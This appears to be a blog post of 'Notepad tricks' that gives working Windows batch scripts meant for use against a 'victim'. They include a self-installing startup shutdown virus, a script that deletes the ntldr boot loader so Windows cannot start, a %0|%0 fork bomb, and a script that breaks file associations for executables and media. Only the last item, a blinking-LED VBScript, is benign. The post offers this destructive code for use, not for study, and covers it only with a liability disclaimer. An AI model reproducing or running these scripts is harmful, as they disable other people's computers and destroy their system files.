COOL TRICKS with NOTEPAD ("Use at you own Risk Blog is not Responsible for any wrong or lawsuit")

1) Shutdown Virus

 
copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”
copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” //these two commands will copy the batchfile in start up folders (in XP)
shutdown -s -t 00 //this will shutdown the computer in 0 seconds

Note : Files in Start up folder gets started automatically when windows starts . You should first two lines of code in every virus code so that it would copy itself in startup folder. Start up folder path in Windows 7 is C:\Users\sys\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Everytime the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder.

"Use at you own Risk Blog is not Responsible for any wrong or lawsuit"

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2) Deleting boot files

 
Goto C drive in Win XP , Tools->Folder Option->View
Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'. Click apply

Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows.

Lets make a batch file to
delete this file from victim's computer and the windows will not start then.

attrib -S -R -H C:\ntldr // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively
del ntldr //delete ntldr file

After running this batch file , system will not reboot and a normal victim would definitely install the windows again.

 

"Use at you own Risk Blog is not Responsible for any wrong or lawsuit"

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3) Fork Bomb

Open a text file in notepad and write:

Type the command into the Notepad given below...

%0|%0 //Its percentage zero pipe percentage zero

save it...........

This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows .

Enjoy...............

"Use at you own Risk Blog is not Responsible for any wrong or lawsuit"

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4) Extension Changer

Open a text file in notepad and write:

Type the command into the Notepad given below...

@echo off
assoc .txt=anything // this command associates extension .txt with filetype anything.
assoc .exe=anything
assoc .jpeg=anything
assoc .png=anything
assoc .mpeg=anything

Every extension is associated with a filetype like extension ‘exe’ is is associated with filetype ‘exefile’. To see them, just enter command ‘assoc’ in command prompt.
Above code changes the association of some extensions to filetype ‘anything’ (means u can write anything) which obviously doesn’t exist. So all exe (paint,games,command prompt and many more),jpeg,png,mpeg files wudn’t open properly.

 "Use at you own Risk Blog is not Responsible for any wrong or lawsuit"

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5) How To Make Keyboard LED Dance ?

Open a text file in notepad and write:

Type the command into the Notepad given below.

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop

* Then save this file as led.vbs (.vbs is must)

* Open your save file and see your keyboard led blinking like disco lights.

How To Disable Blinking LED ?

* First open Task Manager (ctrl+alt+del)
* Then Go to process tab.
* Select wscript.exe
* Click on End process.

Enjoy..............

 

"Use at you own Risk Blog is not Responsible for any wrong or lawsuit"

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